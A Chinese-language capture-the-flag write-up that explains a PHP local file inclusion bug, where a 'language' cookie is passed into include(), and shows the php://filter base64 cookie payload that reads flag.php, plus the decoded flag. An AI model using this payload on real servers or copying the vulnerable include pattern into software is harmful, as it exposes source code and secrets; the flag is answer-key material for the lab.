打开链接,提示flag在flag.php里
内容里还有一个路径/var/www/html/index.php,猜测flag.php应该也是在这个路径下
Ctrl+u查看网页源码
代码中发现 @include($lan.".php");
可知这里存在文件包
且包含与lan的值有关
由代码 $lan = $_COOKIE['language'];
可知lan的值是从cookie的值传上去的
所以这里我们对language赋值
if(!$lan) { @setcookie("language","english"); @include("english.php"); }
如果lan的值为0,则会设置一个新的cookie,这并不是我们想要的,我们要使传入的lan不为0,即cookie的赋值不能为空。
else { @include($lan.".php"); }
当cookie不为空时,lan的值会和".php"拼起来
我们使用php://filter伪协议来读取flag.php的源码并进行base64编码输出
当它与包含函数结合时,php://filter流会被当作php文件执行
这里要注意我们指定的文件应该是flag而不是flag.php
(因为前面说了当cookie不为空时这个lan值会去和".php"进行拼接)
所以我们这里只需在cookie传入language=php://filter/read=convert.base64-encode/resource=flag
或者使用绝对路径
language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
读取到
PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezg5ZjcwNGMzNWIxMzNjODI1NDliMzAyYTFjMzM1Mjk5fSI7DQo/Pg==
将输出进行base64解码
或者直接在hackbar进行base64decode
得到
$flag="cyberpeace{89f704c35b133c82549b302a1c335299}